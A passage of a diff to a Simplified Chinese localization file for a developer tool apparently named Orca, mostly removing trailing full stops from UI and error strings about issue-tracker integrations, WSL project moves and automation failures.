-        "credentialsRequired": "必须填写站点 URL、电子邮件和 API 令牌。",
-        "projectRequired": "必须选择项目。",
-        "issueTypeRequired": "必须选择 issue 类型。",
-        "issueKeyRequired": "必须提供 issue 键。",
-        "updatesRequired": "必须提供更新对象。",
-        "commentBodyRequired": "必须填写评论正文。",
-        "invalidSiteUrl": "请输入有效的 Jira 站点 URL。",
-        "passwordRequired": "必须填写密码。",
-        "personalTokenRequired": "必须填写个人访问令牌。",
-        "apiTokenRequired": "必须填写 API 令牌。",
-        "connectionFailed": "连接失败。",
-        "invalidSiteIdentity": "请输入不含凭据的 HTTP 或 HTTPS Jira 站点 URL。",
-        "missingProjectIdentity": "Jira 返回的项目缺少 ID 或键。",
-        "invalidIssuePage": "Jira 返回了无效的 issue 页面。",
-        "incompleteIssuePage": "Jira 返回了不完整的 issue 页面。",
-        "repeatedIssueToken": "Jira 返回了无效或重复的 issue 页面令牌。",
-        "issueSearchLimit": "Jira issue 搜索超出了页面数量限制。请改用 JQL 选择项目。",
-        "invalidProjectPage": "Jira 返回了无效的项目页面。",
-        "incompleteProjectPage": "Jira 返回了不完整的项目页面。",
-        "projectListLimit": "Jira 项目列表超出了页面数量限制。请改用 JQL 选择项目。",
-        "invalidCloudId": "站点未返回有效的 Atlassian Cloud ID。"
+        "createFailed": "无法创建议题",
+        "commentFailed": "添加评论失败",
+        "notConnected": "未连接到 Jira",
+        "titleRequired": "必须填写标题",
+        "labelsConflict": "请提供 labels 或 labelOperations，不可同时提供两者",
+        "updateFailed": "无法更新 issue",
+        "credentialsRequired": "必须填写站点 URL、电子邮件和 API 令牌",
+        "projectRequired": "必须选择项目",
+        "issueTypeRequired": "必须选择 issue 类型",
+        "issueKeyRequired": "必须提供 issue 键",
+        "updatesRequired": "必须提供更新对象",
+        "commentBodyRequired": "必须填写评论正文",
+        "invalidSiteUrl": "请输入有效的 Jira 站点 URL",
+        "passwordRequired": "必须填写密码",
+        "personalTokenRequired": "必须填写个人访问令牌",
+        "apiTokenRequired": "必须填写 API 令牌",
+        "connectionFailed": "连接失败",
+        "invalidSiteIdentity": "请输入不含凭据的 HTTP 或 HTTPS Jira 站点 URL",
+        "missingProjectIdentity": "Jira 返回的项目缺少 ID 或键",
+        "invalidIssuePage": "Jira 返回了无效的 issue 页面",
+        "incompleteIssuePage": "Jira 返回了不完整的 issue 页面",
+        "repeatedIssueToken": "Jira 返回了无效或重复的 issue 页面令牌",
+        "issueSearchLimit": "Jira issue 搜索超出了页面数量限制。请改用 JQL 选择项目",
+        "invalidProjectPage": "Jira 返回了无效的项目页面",
+        "incompleteProjectPage": "Jira 返回了不完整的项目页面",
+        "projectListLimit": "Jira 项目列表超出了页面数量限制。请改用 JQL 选择项目",
+        "invalidCloudId": "站点未返回有效的 Atlassian Cloud ID"
       },
       "linear": {
         "notConnected": "未连接到 Linear",
@@ -22692,8 +23138,8 @@
         "updateFailed": "Linear 更新失败",
         "commentFailed": "无法创建评论",
         "projectCreateFailed": "Linear 项目创建失败",
-        "noApiKey": "未存储 API 密钥。",
-        "workspaceAuthExpired": "此工作区的 Linear 身份验证已过期。",
+        "noApiKey": "未存储 API 密钥",
+        "workspaceAuthExpired": "此工作区的 Linear 身份验证已过期",
         "projectNameRequired": "必须填写项目名称",
         "projectIdRequired": "必须提供项目 ID",
         "projectNotFound": "未找到项目",
@@ -22724,7 +23170,7 @@
       "bothAdded": "选择要保留的版本，或将两者合并"
     },
     "renamedFrom": "由 {{path}} 重命名而来",
-    "snapshotCapturedAt": "快照创建于 {{time}}。",
+    "snapshotCapturedAt": "快照创建于 {{time}}",
     "unresolvedBanner": "未解决的冲突 · {{kind}}"
   },
   "stats": {
@@ -22790,7 +23236,7 @@
     "runningTitle": "正在移到 {{distro}} 主机",
     "preview": {
       "counts": "项目：{{projects}} · 工作区：{{workspaces}} · 终端：{{terminals}} · 聊天：{{chats}}",
-      "whatHappens": "你的文件保留在原处。终端会在同一文件夹中重新启动；其输出、Shell 历史记录和智能体对话都会保留。",
+      "whatHappens": "你的文件保留在原处。终端会在同一文件夹中重新启动；其输出、Shell 历史记录和智能体对话都会保留",
       "projects": "{{distro}} 中的项目",
       "folderBadge": "文件夹",
       "notMoving": "不移动",
@@ -22798,21 +23244,21 @@
       "checkAgain": "重新检查",
       "moveOne": "移动 1 个项目",
       "moveMany": "移动 {{n}} 个项目",
-      "heldByHost": "已在 {{distro}} 主机上。",
-      "changed": "之前已移动，之后又被旧版 Orca 在此处更改。不会再次移动。",
-      "chatsStay": "现有聊天保留在此电脑上。此项目中的新聊天将在 WSL 主机上开始。",
-      "browserLoginsConflict": "浏览器登录状态不会迁移，因为主机的浏览器配置文件已在使用中。移动后，请在主机的浏览器标签页中重新登录。",
-      "browserLoginsNotCarried": "浏览器登录状态不会迁移到此主机。移动后，请在其浏览器标签页中重新登录。",
+      "heldByHost": "已在 {{distro}} 主机上",
+      "changed": "之前已移动，之后又被旧版 Orca 在此处更改。不会再次移动",
+      "chatsStay": "现有聊天保留在此电脑上。此项目中的新聊天将在 WSL 主机上开始",
+      "browserLoginsConflict": "浏览器登录状态不会迁移，因为主机的浏览器配置文件已在使用中。移动后，请在主机的浏览器标签页中重新登录",
+      "browserLoginsNotCarried": "浏览器登录状态不会迁移到此主机。移动后，请在其浏览器标签页中重新登录",
       "why": "之后工作会在 Linux 中、紧挨着你的文件运行，因此终端、Git 和文件更改会更快、更可靠。你的项目不会改变，也可以随时用“重新在此电脑上使用”把任意项目移回来。"
     },
     "cancel": "取消",
     "progress": {
       "bytes": "{{sent}} / {{total}}",
-      "tooLate": "已无法取消：主机正在切换。请保持 Orca 打开，直到切换完成。",
-      "switching": "切换无法取消。请保持 Orca 打开，直到切换完成。",
-      "readOnly": "这些项目在移动期间为只读。切换开始前你都可以取消。",
-      "cancelUntilSwitch": "切换开始前你都可以取消。",
-      "closeKeepsGoing": "关闭此对话框不会停止移动；移动结束时它会重新打开。",
+      "tooLate": "已无法取消：主机正在切换。请保持 Orca 打开，直到切换完成",
+      "switching": "切换无法取消。请保持 Orca 打开，直到切换完成",
+      "readOnly": "这些项目在移动期间为只读。切换开始前你都可以取消",
+      "cancelUntilSwitch": "切换开始前你都可以取消",
+      "closeKeepsGoing": "关闭此对话框不会停止移动；移动结束时它会重新打开",
       "cancelling": "正在取消…",
       "cancel": "取消移动"
     },
@@ -22822,53 +23268,53 @@
       "waitingTitle": "正在等待 {{distro}} 主机",
       "earlierMoveTitle": "之前的一次移动先完成了",
       "refusedTitle": "项目未移动",
-      "reloadCheckpointRefused": "Orca 无法备份未保存的文件，因此窗口未重新加载。请关闭此对话框，保存或关闭这些文件，然后在保持显示的通知中点击“立即重新加载”。",
-      "reloadVetoed": "有内容阻止了窗口重新加载。请关闭此对话框，保存你的工作，然后在保持显示的通知中点击“立即重新加载”。",
-      "reloadFailed": "窗口未重新加载。请重试。",
-      "moved": "重新加载此窗口，即可在 {{distro}} 主机下看到这些项目。Orca 会在重新加载前备份未保存的文件。",
-      "automationsPendingOne": "主机上有一个自动化暂时处于关闭状态。Orca 会持续请求主机将其重新开启。",
-      "automationsPendingMany": "主机上有 {{n}} 个自动化暂时处于关闭状态。Orca 会持续请求主机将其重新开启。",
-      "undoHint": "改变主意了？重新加载后，侧边栏会将这些项目显示为“已移至 {{distro}} 主机”。在那里选择“重新在此电脑上使用”，即可将它们恢复到移动前的状态。",
-      "reset": "移动已停止，所有内容均已还原。这些项目会像之前一样在此电脑上工作；已暂停的终端会在你打开时重新启动。",
+      "reloadCheckpointRefused": "Orca 无法备份未保存的文件，因此窗口未重新加载。请关闭此对话框，保存或关闭这些文件，然后在保持显示的通知中点击“立即重新加载”",
+      "reloadVetoed": "有内容阻止了窗口重新加载。请关闭此对话框，保存你的工作，然后在保持显示的通知中点击“立即重新加载”",
+      "reloadFailed": "窗口未重新加载。请重试",
+      "moved": "重新加载此窗口，即可在 {{distro}} 主机下看到这些项目。Orca 会在重新加载前备份未保存的文件",
+      "automationsPendingOne": "主机上有一个自动化暂时处于关闭状态。Orca 会持续请求主机将其重新开启",
+      "automationsPendingMany": "主机上有 {{n}} 个自动化暂时处于关闭状态。Orca 会持续请求主机将其重新开启",
+      "undoHint": "改变主意了？重新加载后，侧边栏会将这些项目显示为“已移至 {{distro}} 主机”。在那里选择“重新在此电脑上使用”，即可将它们恢复到移动前的状态",
+      "reset": "移动已停止，所有内容均已还原。这些项目会像之前一样在此电脑上工作；已暂停的终端会在你打开时重新启动",
       "resetReason": "停止原因：{{detail}}",
-      "waiting": "此次移动可能已到达 {{distro}} 主机，但主机没有响应。在主机响应之前，这些项目在此处保持只读。请在设置中连接该主机，然后再次打开此对话框并开始移动：Orca 会先完成或撤销这次移动。",
+      "waiting": "此次移动可能已到达 {{distro}} 主机，但主机没有响应。在主机响应之前，这些项目在此处保持只读。请在设置中连接该主机，然后再次打开此对话框并开始移动：Orca 会先完成或撤销这次移动",
       "reloading": "正在重新加载…",
       "reload": "立即重新加载",
       "close": "关闭",
       "review": "返回项目",
-      "browserLoginsHostUnknown": "浏览器登录状态未复制，因为 Orca 无法识别主机的浏览器配置文件。请在主机的浏览器标签页中重新登录。",
-      "browserLoginsConflict": "浏览器登录状态未复制，因为主机的浏览器配置文件已在使用中。请在主机的浏览器标签页中重新登录。",
-      "browserLoginsNotCopied": "浏览器登录状态未复制到主机。请在主机的浏览器标签页中重新登录。"
+      "browserLoginsHostUnknown": "浏览器登录状态未复制，因为 Orca 无法识别主机的浏览器配置文件。请在主机的浏览器标签页中重新登录",
+      "browserLoginsConflict": "浏览器登录状态未复制，因为主机的浏览器配置文件已在使用中。请在主机的浏览器标签页中重新登录",
+      "browserLoginsNotCopied": "浏览器登录状态未复制到主机。请在主机的浏览器标签页中重新登录"
     },
     "runtime": {
       "label": "项目运行环境",
-      "description": "此项目通过此电脑在 {{distro}} 中运行。将其移到 {{distro}} 主机即可在那里运行。",
+      "description": "此项目通过此电脑在 {{distro}} 中运行。将其移到 {{distro}} 主机即可在那里运行",
       "move": "移动项目"
     },
     "unfinished": {
-      "one": "已移到 {{distro}} 主机的一个自动化仍处于关闭状态。Orca 会持续请求主机将其重新开启。",
-      "many": "已移到 {{distro}} 主机的 {{n}} 个自动化仍处于关闭状态。Orca 会持续请求主机将其重新开启。"
+      "one": "已移到 {{distro}} 主机的一个自动化仍处于关闭状态。Orca 会持续请求主机将其重新开启",
+      "many": "已移到 {{distro}} 主机的 {{n}} 个自动化仍处于关闭状态。Orca 会持续请求主机将其重新开启"
     },
     "refusal": {
-      "previewFailed": "Orca 无法检查这些项目。请重试。",
-      "startFailed": "Orca 与此次移动失去了联系。请重新打开此对话框查看其进展。",
-      "unavailable": "此窗口无法将项目移到 WSL 主机。",
-      "alreadyRunning": "移到 {{distro}} 的操作已在进行中。请等待其完成，然后重试。",
-      "undoRunning": "有项目正在从 {{distro}} 移回。完成后请重试。",
-      "alreadyInFlightPreview": "{{distro}} 的一次移动仍在收尾。开始此次移动时，Orca 会尽可能先完成或撤销那次移动。",
-      "alreadyInFlight": "{{distro}} 的一次移动仍在收尾，因此此次移动未开始。请保持 {{distro}} 主机连接，稍后重试。",
-      "nothingNew": "这些项目已在 {{distro}} 主机上。",
-      "destinationChanged": "之前来自 {{distro}} 的项目已移到另一个 WSL 主机。请连接该主机以移动更多项目。",
-      "hostUnavailable": "{{distro}} 主机未连接。请在设置中连接它，然后重试。",
-      "hostUpdateRequired": "{{distro}} 主机运行的是旧版 Orca。请在设置中更新它，然后重试。",
-      "terminalsBlocked": "这些项目中的部分终端、智能体或自动化正忙。未移动任何内容。",
+      "previewFailed": "Orca 无法检查这些项目。请重试",
+      "startFailed": "Orca 与此次移动失去了联系。请重新打开此对话框查看其进展",
+      "unavailable": "此窗口无法将项目移到 WSL 主机",
+      "alreadyRunning": "移到 {{distro}} 的操作已在进行中。请等待其完成，然后重试",
+      "undoRunning": "有项目正在从 {{distro}} 移回。完成后请重试",
+      "alreadyInFlightPreview": "{{distro}} 的一次移动仍在收尾。开始此次移动时，Orca 会尽可能先完成或撤销那次移动",
+      "alreadyInFlight": "{{distro}} 的一次移动仍在收尾，因此此次移动未开始。请保持 {{distro}} 主机连接，稍后重试",
+      "nothingNew": "这些项目已在 {{distro}} 主机上",
+      "destinationChanged": "之前来自 {{distro}} 的项目已移到另一个 WSL 主机。请连接该主机以移动更多项目",
+      "hostUnavailable": "{{distro}} 主机未连接。请在设置中连接它，然后重试",
+      "hostUpdateRequired": "{{distro}} 主机运行的是旧版 Orca。请在设置中更新它，然后重试",
+      "terminalsBlocked": "这些项目中的部分终端、智能体或自动化正忙。未移动任何内容",
       "exportIncomplete": "这些项目中的部分已保存状态暂时无法移动，因此未移动任何内容：",
       "exportIncompletePreview": "这些项目中的部分已保存状态暂时无法移动：",
-      "tooLarge": "这些项目的已保存状态过多，无法一次移动。请每次少移动一些项目。",
-      "pauseFailed": "Orca 无法暂停这些项目中的终端，因此未移动任何内容。已暂停的终端会在你打开时重新启动。请重试。",
-      "scopeChanged": "移动准备期间有项目发生了更改，因此未移动任何内容。请检查项目后重试。",
-      "cancelled": "移动已取消。未移动任何内容。",
-      "finishedEarlierMove": "Orca 先完成了之前一次移到 {{distro}} 的操作。请重新加载窗口，然后重新开始此次移动。"
+      "tooLarge": "这些项目的已保存状态过多，无法一次移动。请每次少移动一些项目",
+      "pauseFailed": "Orca 无法暂停这些项目中的终端，因此未移动任何内容。已暂停的终端会在你打开时重新启动。请重试",
+      "scopeChanged": "移动准备期间有项目发生了更改，因此未移动任何内容。请检查项目后重试",
+      "cancelled": "移动已取消。未移动任何内容",
+      "finishedEarlierMove": "Orca 先完成了之前一次移到 {{distro}} 的操作。请重新加载窗口，然后重新开始此次移动"
     },
     "step": {
       "preparing": "准备中",
@@ -22895,18 +23341,18 @@
       "scrollbackTooLargeMany": "有 {{n}} 个终端的输出历史记录过多，无法移动"
     },
     "blockerHint": {
-      "agentWorking": "等待它完成，或在其终端中停止它，然后重新检查。",
-      "processRunning": "停止该程序（例如开发服务器或编辑器），然后重新检查。",
-      "agentNotResumable": "在其终端中退出该智能体，然后重新检查。",
-      "unverifiable": "请稍候，然后重新检查。Orca 不会为了移动而停止任何内容。",
-      "wait": "等待其完成，然后重新检查。",
-      "scrollbackTooLarge": "清除这些终端中的输出，然后重新检查。"
+      "agentWorking": "等待它完成，或在其终端中停止它，然后重新检查",
+      "processRunning": "停止该程序（例如开发服务器或编辑器），然后重新检查",
+      "agentNotResumable": "在其终端中退出该智能体，然后重新检查",
+      "unverifiable": "请稍候，然后重新检查。Orca 不会为了移动而停止任何内容",
+      "wait": "等待其完成，然后重新检查",
+      "scrollbackTooLarge": "清除这些终端中的输出，然后重新检查"
     },
     "scopeRefused": {
-      "windowsDrive": "其文件夹位于 Windows 驱动器上，因此保留在此电脑上。",
-      "mixedLocations": "其部分文件夹不在此发行版中，因此保留在此电脑上。",
-      "notLocal": "它已在另一台主机上运行。",
-      "other": "它无法移动。"
+      "windowsDrive": "其文件夹位于 Windows 驱动器上，因此保留在此电脑上",
+      "mixedLocations": "其部分文件夹不在此发行版中，因此保留在此电脑上",
+      "notLocal": "它已在另一台主机上运行",
+      "other": "它无法移动"
     },
     "reloadToast": {
       "title": "重新加载以完成移动"
@@ -22915,71 +23361,71 @@
       "showTerminal": "显示终端",
       "moveAgain": "再次移动",
       "checkAgain": "重新检查",
-      "deferred": "正在完成到 {{distro}} 主机的移动：部分终端仍在忙碌。",
-      "stuck": "之前一次到 {{distro}} 主机的移动尚未完全结束。",
-      "declined": "移动已暂停，因为你已将这些项目恢复到此电脑。",
+      "deferred": "正在完成到 {{distro}} 主机的移动：部分终端仍在忙碌",
+      "stuck": "之前一次到 {{distro}} 主机的移动尚未完全结束",
+      "declined": "移动已暂停，因为你已将这些项目恢复到此电脑",
       "doneToast": "项目已移到 {{distro}} 主机",
-      "terminalGone": "该终端已不在此窗口中打开。请重新检查以刷新。",
+      "terminalGone": "该终端已不在此窗口中打开。请重新检查以刷新",
       "blocker": "{{title}}。{{hint}}",
-      "paused": "将项目移到 {{distro}} 主机的操作已暂停：{{reason}}。",
+      "paused": "将项目移到 {{distro}} 主机的操作已暂停：{{reason}}",
       "pausedReason": {
         "exportIncomplete": "部分已保存状态暂时无法迁移",
         "manifestTooLarge": "已保存状态超出了一次移动的容量",
         "hostUpdate": "需要先更新主机",
         "attemptsExhausted": "多次尝试后仍未完成"
       },
-      "finishPending": "之前一次到 {{distro}} 主机的移动已在主机上完成。Orca 会在重启时在此处完成它，也可以点击“重新检查”立即完成。"
+      "finishPending": "之前一次到 {{distro}} 主机的移动已在主机上完成。Orca 会在重启时在此处完成它，也可以点击“重新检查”立即完成"
     }
   },
   "automations": {
     "runFailures": {
-      "noDispatchHost": "没有可用于启动自动化的 Orca 窗口。",
-      "unevaluableSchedule": "Orca 无法评估此自动化，已跳过此次执行。",
-      "noRunnableHost": "此自动化没有可运行的主机。",
-      "wslMoveInProgress": "此自动化的项目正在移到其 WSL 主机，因此 Orca 跳过了此次运行。移动完成后将恢复运行。",
-      "wslMoveOwnedByHost": "此自动化的项目现在在其 WSL 主机上运行，自动化本身也由该主机运行。Orca 不再运行此本地副本。",
+      "noDispatchHost": "没有可用于启动自动化的 Orca 窗口",
+      "unevaluableSchedule": "Orca 无法评估此自动化，已跳过此次执行",
+      "noRunnableHost": "此自动化没有可运行的主机",
+      "wslMoveInProgress": "此自动化的项目正在移到其 WSL 主机，因此 Orca 跳过了此次运行。移动完成后将恢复运行",
+      "wslMoveOwnedByHost": "此自动化的项目现在在其 WSL 主机上运行，自动化本身也由该主机运行。Orca 不再运行此本地副本",
       "managedHostServer": "需要迁移到 {{host}}",
-      "missedGraceWindow": "Orca 再次检查时，此次运行的补跑宽限期已过。",
-      "targetMissing": "自动化主机已不在注册列表中，因此此自动化已无处运行。",
-      "targetReplaced": "自动化主机已被移除并重新注册，因此必须重新关联此自动化后才能运行。",
-      "workspaceHostAmbiguous": "自动化工作区跨越多个主机，因此 Orca 无法确定应在哪个主机上运行。",
-      "legacyTwinHosts": "此自动化保存于 Orca 开始记录运行主机之前，且其项目位于多个主机上。请打开自动化，选择应运行它的主机。",
-      "targetUnavailable": "自动化运行目标已不可用。",
-      "remoteSchedulingUnavailable": "此 Orca 客户端尚不支持远程服务器上的自动化调度。请在远程服务器上运行此自动化，或等持久化远程调度可用后更新 Orca。",
-      "projectSetupMissing": "所选自动化主机上已没有此项目的配置。",
-      "targetSetupMismatch": "自动化运行目标与项目所选主机的配置已不匹配。",
-      "repoUnavailable": "所选自动化主机的仓库已不可用。",
-      "repoDetached": "仓库已不再关联到所选自动化主机。",
-      "projectPathChanged": "所选自动化主机上的项目路径已更改。",
-      "automationChanged": "此次运行启动前，自动化已更改。",
-      "destinationChanged": "此次运行启动前，自动化的目标位置已更改。",
-      "hooksReviewBlocked": "智能体正在等待有人审查新增或更改的钩子（“Hooks need review”）。请打开此次运行，信任这些钩子或将其移除。计划运行会继续进行，待没有需要审查的内容后即可成功。",
-      "agentNeverStarted": "提交提示词后，自动化智能体始终未启动。",
-      "agentNoCompletion": "自动化智能体未报告完成。",
-      "watchTimedOut": "6 小时内未收到完成信号，Orca 已停止监视此次运行。",
-      "wslDistroStopped": "WSL 发行版 {{distro}} 已停止，因此本次计划运行没有启动它。请启动该发行版或使用“立即运行”；它运行期间，后续运行会照常进行。",
+      "missedGraceWindow": "Orca 再次检查时，此次运行的补跑宽限期已过",
+      "targetMissing": "自动化主机已不在注册列表中，因此此自动化已无处运行",
+      "targetReplaced": "自动化主机已被移除并重新注册，因此必须重新关联此自动化后才能运行",
+      "workspaceHostAmbiguous": "自动化工作区跨越多个主机，因此 Orca 无法确定应在哪个主机上运行",
+      "legacyTwinHosts": "此自动化保存于 Orca 开始记录运行主机之前，且其项目位于多个主机上。请打开自动化，选择应运行它的主机",
+      "targetUnavailable": "自动化运行目标已不可用",
+      "remoteSchedulingUnavailable": "此 Orca 客户端尚不支持远程服务器上的自动化调度。请在远程服务器上运行此自动化，或等持久化远程调度可用后更新 Orca",
+      "projectSetupMissing": "所选自动化主机上已没有此项目的配置",
+      "targetSetupMismatch": "自动化运行目标与项目所选主机的配置已不匹配",
+      "repoUnavailable": "所选自动化主机的仓库已不可用",
+      "repoDetached": "仓库已不再关联到所选自动化主机",
+      "projectPathChanged": "所选自动化主机上的项目路径已更改",
+      "automationChanged": "此次运行启动前，自动化已更改",
+      "destinationChanged": "此次运行启动前，自动化的目标位置已更改",
+      "hooksReviewBlocked": "智能体正在等待有人审查新增或更改的钩子（“Hooks need review”）。请打开此次运行，信任这些钩子或将其移除。计划运行会继续进行，待没有需要审查的内容后即可成功",
+      "agentNeverStarted": "提交提示词后，自动化智能体始终未启动",
+      "agentNoCompletion": "自动化智能体未报告完成",
+      "watchTimedOut": "6 小时内未收到完成信号，Orca 已停止监视此次运行",
+      "wslDistroStopped": "WSL 发行版 {{distro}} 已停止，因此本次计划运行没有启动它。请启动该发行版或使用“立即运行”；它运行期间，后续运行会照常进行",
       "projectSetupState": {
-        "notSetUp": "项目尚未在所选自动化主机上完成设置。",
-        "settingUp": "项目仍在所选自动化主机上进行设置。",
-        "error": "项目在所选自动化主机上设置失败。",
-        "unsupported": "所选自动化主机不支持此项目。"
+        "notSetUp": "项目尚未在所选自动化主机上完成设置",
+        "settingUp": "项目仍在所选自动化主机上进行设置",
+        "error": "项目在所选自动化主机上设置失败",
+        "unsupported": "所选自动化主机不支持此项目"
       }
     },
     "extraAgentArgs": {
       "errors": {
-        "tooLarge": "额外参数不得超过 4 KB。",
-        "controlCharacters": "额外参数不能包含控制字符或换行符。",
+        "tooLarge": "额外参数不得超过 4 KB",
+        "controlCharacters": "额外参数不能包含控制字符或换行符",
         "invalid": "额外参数无效：{{detail}}",
-        "shellSyntax": "{{text}} 使用了额外参数不允许的 Shell 语法。",
-        "terminator": "额外参数中不允许使用“--”。",
-        "notAnOption": "“{{token}}”不是选项。{{agent}} 的额外参数仅接受：{{allowed}}。",
-        "optionNotAllowed": "{{agent}} 的额外参数中不允许使用“{{option}}”。允许的选项：{{allowed}}。",
-        "missingValue": "“{{option}}”需要一个值。",
-        "valueNotAllowed": "不允许使用“{{option}} {{value}}”。{{agent}} 的额外参数仅接受“{{option}} {{prefix}}<level>”。",
-        "modelRepeated": "额外参数重复设置了模型。",
-        "effortRepeated": "额外参数重复设置了推理强度。"
+        "shellSyntax": "{{text}} 使用了额外参数不允许的 Shell 语法",
+        "terminator": "额外参数中不允许使用“--”",
+        "notAnOption": "“{{token}}”不是选项。{{agent}} 的额外参数仅接受：{{allowed}}",
+        "optionNotAllowed": "{{agent}} 的额外参数中不允许使用“{{option}}”。允许的选项：{{allowed}}",
+        "missingValue": "“{{option}}”需要一个值",
+        "valueNotAllowed": "不允许使用“{{option}} {{value}}”。{{agent}} 的额外参数仅接受“{{option}} {{prefix}}<level>”",
+        "modelRepeated": "额外参数重复设置了模型",
+        "effortRepeated": "额外参数重复设置了推理强度"
       },
-      "hostUpdateRequired": "请更新此主机上的 Orca 以使用额外参数。"
+      "hostUpdateRequired": "请更新此主机上的 Orca 以使用额外参数"
     },
     "setupTrust": {
       "reviewTitle": "要批准此自动化的新设置命令吗？",
@@ -22996,33 +23442,33 @@
   "codeHost": {
     "errors": {
       "titleRequired": "标题为必填项",
-      "networkError": "网络错误 — 请检查你的网络连接。",
+      "networkError": "网络错误 — 请检查你的网络连接",
       "invalidUpdate": "无效的更新 — {{detail}}",
       "invalidRequest": "无效的请求 — {{detail}}",
-      "issueNotFound": "未找到议题 — 可能已被删除。",
+      "issueNotFound": "未找到议题 — 可能已被删除",
       "issueUpdateFailed": "更新议题失败：{{detail}}",
       "github": {
         "repoUnresolved": "无法确定此仓库的 GitHub 所有者和仓库名称",
         "unexpectedResponse": "GitHub 返回了意外响应",
         "pullRequestIdUnresolved": "无法确定 GitHub PR ID",
         "reviewerRequired": "请至少输入一位评审人",
-        "stackAutoMergeUnsupported": "GitHub 不支持堆栈中 PR 的自动合并。",
-        "autoMergeAlreadyMergeable": "此 PR 已可合并。请使用“合并”而非自动合并。",
-        "noFailedChecks": "没有失败的 GitHub Actions 检查可重新运行。",
-        "noRerunnableChecks": "未找到可重新运行的检查。",
-        "stackMergeInvalidResponse": "GitHub 返回了无效的堆栈合并响应。",
-        "stackMergePending": "GitHub 仍在合并此堆栈。请刷新以查看状态。",
-        "rateLimited": "已达到 GitHub 速率限制。请几分钟后重试。",
-        "issuePermissionDenied": "你没有权限编辑此议题。请检查 GitHub 令牌范围。",
-        "issuesDisabled": "此仓库已禁用议题。",
-        "pullRequestPermissionDenied": "你没有权限编辑此 PR。请检查 GitHub 令牌范围。",
-        "pullRequestNotFound": "未找到 PR — 可能已被删除。",
+        "stackAutoMergeUnsupported": "GitHub 不支持堆栈中 PR 的自动合并",
+        "autoMergeAlreadyMergeable": "此 PR 已可合并。请使用“合并”而非自动合并",
+        "noFailedChecks": "没有失败的 GitHub Actions 检查可重新运行",
+        "noRerunnableChecks": "未找到可重新运行的检查",
+        "stackMergeInvalidResponse": "GitHub 返回了无效的堆栈合并响应",
+        "stackMergePending": "GitHub 仍在合并此堆栈。请刷新以查看状态",
+        "rateLimited": "已达到 GitHub 速率限制。请几分钟后重试",
+        "issuePermissionDenied": "你没有权限编辑此议题。请检查 GitHub 令牌范围",
+        "issuesDisabled": "此仓库已禁用议题",
+        "pullRequestPermissionDenied": "你没有权限编辑此 PR。请检查 GitHub 令牌范围",
+        "pullRequestNotFound": "未找到 PR — 可能已被删除",
         "pullRequestUpdateFailed": "更新 PR 失败：{{detail}}",
         "autoMergeEnableFailed": "为 PR 启用自动合并失败：{{detail}}",
         "autoMergeDisableFailed": "为 PR 禁用自动合并失败：{{detail}}",
         "mergeQueueAddFailed": "将 PR 添加到合并队列失败：{{detail}}",
-        "rerunPermissionDenied": "你没有权限在此仓库中重新运行检查。请检查 GitHub 令牌范围。",
-        "rerunTargetNotFound": "未找到要重新运行的 GitHub 资源 — 可能已过期或被删除。",
+        "rerunPermissionDenied": "你没有权限在此仓库中重新运行检查。请检查 GitHub 令牌范围",
+        "rerunTargetNotFound": "未找到要重新运行的 GitHub 资源 — 可能已过期或被删除",
         "rerunRejected": "无法重新运行检查 — {{detail}}",
         "rerunFailed": "重新运行检查失败：{{detail}}"
       },
@@ -23033,101 +23479,101 @@
         "discussionIdRequired": "必须提供讨论 ID",
         "readyTitleConflict": "将合并请求标记为就绪时无法更新标题",
         "mergeRequestTitleUnreadable": "无法读取合并请求的当前标题",
-        "rateLimited": "已达到 GitLab 速率限制。请几分钟后重试。",
-        "issuePermissionDenied": "你没有权限编辑此议题。请检查 GitLab 令牌范围。",
-        "jobLogPermissionDenied": "你没有权限读取此作业的日志。请检查 GitLab 令牌范围。",
-        "jobProjectNotFound": "找不到此作业的 GitLab 项目。",
+        "rateLimited": "已达到 GitLab 速率限制。请几分钟后重试",
+        "issuePermissionDenied": "你没有权限编辑此议题。请检查 GitLab 令牌范围",
+        "jobLogPermissionDenied": "你没有权限读取此作业的日志。请检查 GitLab 令牌范围",
+        "jobProjectNotFound": "找不到此作业的 GitLab 项目",
         "jobLogFailed": "加载作业日志失败：{{detail}}"
       }
     },
     "startPoint": {
       "repoNotFound": "未找到仓库",
-      "folderUnsupported": "文件夹模式不支持创建工作树。",
+      "folderUnsupported": "文件夹模式不支持创建工作树",
       "fetchFailed": "无法获取 {{ref}}：{{detail}}",
-      "remoteRefMissing": "获取后，远程引用 {{ref}} 不存在。",
+      "remoteRefMissing": "获取后，远程引用 {{ref}} 不存在",
       "github": {
-        "prNotFound": "未找到 PR #{{number}}。",
-        "prHeadBranchMissing": "PR #{{number}} 没有源分支。",
-        "forkHeadUnresolved": "获取后，无法解析来自 fork 的 PR #{{number}} 的头部引用。",
-        "headShaEmpty": "解析 PR #{{number}} 的头部引用时得到空 SHA。"
+        "prNotFound": "未找到 PR #{{number}}",
+        "prHeadBranchMissing": "PR #{{number}} 没有源分支",
+        "forkHeadUnresolved": "获取后，无法解析来自 fork 的 PR #{{number}} 的头部引用",
+        "headShaEmpty": "解析 PR #{{number}} 的头部引用时得到空 SHA"
       },
       "gitlab": {
-        "projectNotFound": "未找到此仓库对应的 GitLab 项目。",
-        "mrNotFound": "未找到 MR !{{number}}。",
-        "mrSourceBranchMissing": "MR !{{number}} 没有源分支。",
-        "forkHeadUnresolved": "获取后，无法解析来自 fork 的 MR !{{number}} 的头部引用。"
+        "projectNotFound": "未找到此仓库对应的 GitLab 项目",
+        "mrNotFound": "未找到 MR !{{number}}",
+        "mrSourceBranchMissing": "MR !{{number}} 没有源分支",
+        "forkHeadUnresolved": "获取后，无法解析来自 fork 的 MR !{{number}} 的头部引用"
       }
     },
     "bitbucketConnect": {
       "invalidInput": "Bitbucket 凭据无效",
-      "accessTokenRequired": "请输入访问令牌。",
-      "emailAndApiTokenRequired": "请输入电子邮件地址和 API 令牌。",
-      "rejected": "Bitbucket 拒绝了这些凭据。请检查电子邮件地址和令牌，然后重试。",
-      "unreachable": "无法连接到 Bitbucket。请检查网络连接或 API 基础 URL，然后重试。"
+      "accessTokenRequired": "请输入访问令牌",
+      "emailAndApiTokenRequired": "请输入电子邮件地址和 API 令牌",
+      "rejected": "Bitbucket 拒绝了这些凭据。请检查电子邮件地址和令牌，然后重试",
+      "unreachable": "无法连接到 Bitbucket。请检查网络连接或 API 基础 URL，然后重试"
     }
   },
   "featureWall": {
     "workflows": {
       "workspaces": {
         "title": "工作区",
-        "lede": "Orca 为每项任务分配独立的工作区，让智能体能够并行工作。"
+        "lede": "Orca 为每项任务分配独立的工作区，让智能体能够并行工作"
       },
       "tasks": {
